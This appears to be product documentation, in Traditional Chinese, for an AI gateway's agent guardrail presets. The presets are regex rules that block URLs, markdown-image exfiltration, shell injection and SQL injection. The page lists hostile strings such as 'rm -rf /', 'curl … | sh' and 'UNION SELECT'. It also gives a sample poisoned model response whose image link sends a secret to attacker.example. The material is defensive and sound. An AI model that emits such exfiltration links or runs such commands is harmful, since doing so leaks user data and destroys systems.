跳轉到主要內容
當一個模型驅動工具時,危險字串就藏在明文內容中:一個代理即將擷取的 URL、一張客戶端會自動載入的 markdown 圖片、一個模型回顯進 shell 工具的 rm -rf /、一個它為 SQL 執行器發出去執行的 UNION SELECT。一個只想著 PII 或密鑰的內容政策會錯過這四個。Agent 預設類別正是為這種形狀而存在——確定性的 regex 規則,會在一個下游工具對請求或回應採取行動之前封鎖它。 這是代理式使用情境的一個聚焦落地頁。完整的防護欄引擎——每種規則類型、欄位、階段與路由——請見 防護欄參考

1. 為何代理防護欄是一個獨特的介面

一個防護欄審查內容——請求中的文字與回應中的文字。對一個代理而言,那段文字會變成一個動作:URL 被擷取、markdown 被渲染、shell 行被執行、SQL 被執行。所以你用於 PII 的同一個 block / mask 引擎在這裡身兼二職——它會在代理的工具層能把酬載變成一個副作用之前,在閘道處停止它。 Agent 類別出貨時帶有四個預設,每一個都是一條動作為 blockregex 規則,分散在兩個階段:
封鎖請求上的任何 http(s) URL。用於外向 URL 必須被列入允許清單而非開放的代理流程。植入的模式匹配任何 URL;編輯正規表示式以允許特定網域。
封鎖模型回應中的 markdown 圖片嵌入(![alt](url))。防禦在自動載入遠端圖片的客戶端上的圖片渲染外洩——一個經典的資料洩漏通道,其中一個渲染的圖片 URL 把資料偷渡出去。
封鎖請求中明顯的 shell 注入模式(rm -rf /curl … | shwget … | bashsudo 提權)。用於可能把使用者輸入轉送進 shell 工具的代理流程。
封鎖攜帶經典 SQL 注入酬載(UNION SELECTOR 1=1DROP TABLE、註解終止符)的模型回應。為自動執行模型產生 SQL 的工具提供縱深防禦。
兩個預設審查輸入,兩個審查輸出。 URL Filter 與 Tool Call Shell Block 在請求上觸發——在模型執行之前、任何配額被計量之前。Markdown Image Block 與 SQL Injection in Output 在回應上觸發——在模型回答之後、內容抵達你的客戶端或其工具層之前。知道一個風險住在哪個階段就是整個關鍵;參見 輸入階段輸出階段

2. 在主控台中套用一個代理防護欄

這裡的每個步驟都是託管閘道上你自己工作階段下的一個主控台動作。建立與編輯防護欄需要工作區中的 Developer+。只有最後的 /v1/* 呼叫使用 sk-orca-... 中繼金鑰——防護欄本身完全在主控台中設定。
1

開啟範本

在主控台中開啟 Guardrails,按一下 New guardrail 分割按鈕,並從 Agent 範本類別挑選一個預設——例如 Markdown Image Block。它會在正確的階段植入單一的 regex 封鎖規則。
2

命名並儲存

給它一個名稱(≤ 64 字元),例如 agent-rails,並儲存。預設是種子,不是鎖——之後可自由新增另外三條 Agent 規則或編輯正規表示式(參見 §4)。
3

在沙盒中測試它

開啟編輯器內的 Test 分頁,貼上一個樣本,選擇相符的階段,並在本機執行目前的政策——沒有上游呼叫,不消耗配額(參見 §3)。
4

綁定一把金鑰

編輯一個 API 金鑰並從 Guardrail 下拉選單選擇 agent-rails(在金鑰上設定 guardrail_id),或將它標記為工作區預設值。參見 綁定到金鑰帳戶預設值

3. 綁定前先證明它

在任何金鑰指向它之前,先證明規則會觸發。開啟 Test 分頁,選擇 output 階段,並貼上一個攻擊者投毒的頁面可能誘使模型發出的回應:
Here is the result: ![status](https://attacker.example/track?d=secret)
沙盒會在本機評估目前的政策——不會向上游傳送任何東西,也不會計量任何東西——並傳回指名觸發規則的 block 裁決。若要針對一個對抗性與良性樣本的語料庫進行 A/B 網格測試,評測工具 就在隔壁分頁。

4. 組合與調校規則

這四個預設是種子。常見的做法是把它們合併進一個 agent-rails 防護欄,並把每個正規表示式收緊到你的技術堆疊:

允許清單 URL

URL Filter 開始,然後編輯 regex,讓它封鎖除了你核可網域以外的每個 URL——把比對反轉為一個允許清單而非一概封鎖。

撰寫你自己的偵測器

為你工具關心的任何酬載形狀新增一條 regex 規則——RE2 模式、線性時間、無回溯參照。模式編譯一次並在跨請求間快取。
在一個防護欄中把 Agent 規則與引擎的其餘部分混合。把它們與一條 PII Shield mask 規則或一條 Secrets Blocker 輸入封鎖配對——一個政策可以攜帶每種規則類型,而引擎會把它們摺疊成單一裁決。block 對 mask 對 flag 請見 動作

5. 一個封鎖長什麼樣

每個 Agent 預設都使用 block 動作。一個被封鎖的請求會傳回 HTTP 400,錯誤代碼為 guardrail_blocked,並附上指名觸發的防護欄與規則的訊息:
{
  "error": {
    "code": "guardrail_blocked",
    "message": "request blocked by guardrail \"agent-rails\""
  }
}
一個被封鎖的請求不消耗配額——輸入階段封鎖(URL Filter、Tool Call Shell Block)在計量之前觸發;輸出階段封鎖(Markdown Image Block、SQL Injection in Output)會在回應被拒絕後退還已預先扣除的配額——並被標記為 skip-retry,因為重跑同一個提示只會再次封鎖。參見 guardrail_blocked 錯誤
輸出封鎖在串流上也會強制執行。 對於那兩個輸出階段的 Agent 預設,block 在兩種情況下都成立:在非串流回應上,答案會在回傳前被審查;在串流回應上,一個掃描器會在任何被封鎖的內容抵達客戶端之前於飛行途中切斷串流。參見 串流覆蓋

6. 防護欄是內容;防火牆是工具呼叫

代理防護欄是一個強大的第一層,但它們推理的是字串,而非工具語意。它們封鎖內容中的一個 shell 行——它們不理解模型發出了一個結構化的 tool_call 給一個破壞性工具,或一個外向請求正前往一個 metadata IP。 那個工具呼叫層是 防火牆:它會用像 allow / audit / deny / pending_approval 這樣的裁決來評估模型發出的 tool_calls、MCP tools/call 與外向 egress。兩者組合——防護欄審查文字,防火牆治理動作。

防火牆

用 allow / audit / deny / 審批 裁決治理模型發出的工具呼叫、MCP 呼叫與 egress。

防護欄與防火牆

何時使用內容防護欄對工具呼叫防火牆——以及如何執行兩者。

保護 AI 代理

完整的代理控制堆疊:內容、工具、MCP 與 egress。

過度代理權

這些防護欄應對的威脅——一個做超出它該做之事的代理。

7. 查看觸發了什麼

每條觸發的規則都會記錄一個 match——規則類型、動作、階段,以及一個詳情字串——呈現在工作區 Matches 動態中。匹配到的子字串本身Log raw content 開啟時才會記錄,而它預設為關閉。按防護欄、規則類型與動作對動態分組與篩選,以監看你的代理規則命中率並調校誤報。參見 匹配動態日誌與隱私調校誤報

8. 下一步去哪裡

輸出階段規則

回應審查對 Markdown Image Block 與 SQL Injection in Output 如何運作。

正規表示式偵測器

撰寫你自己的 RE2 模式以擴展 Agent 規則。

資料外洩

Markdown Image Block 關閉的外洩通道。

危險工具呼叫

為何單靠一個內容防護欄不夠——把它與防火牆配對。
代理防護欄讓危險字串不進入一個代理發送與接收的內容。若要治理一個代理採取的動作——工具呼叫、MCP 呼叫與 egress 本身——往上移到 防火牆 並閱讀 保護 AI 代理 基準。完整的防護欄引擎請見 防護欄參考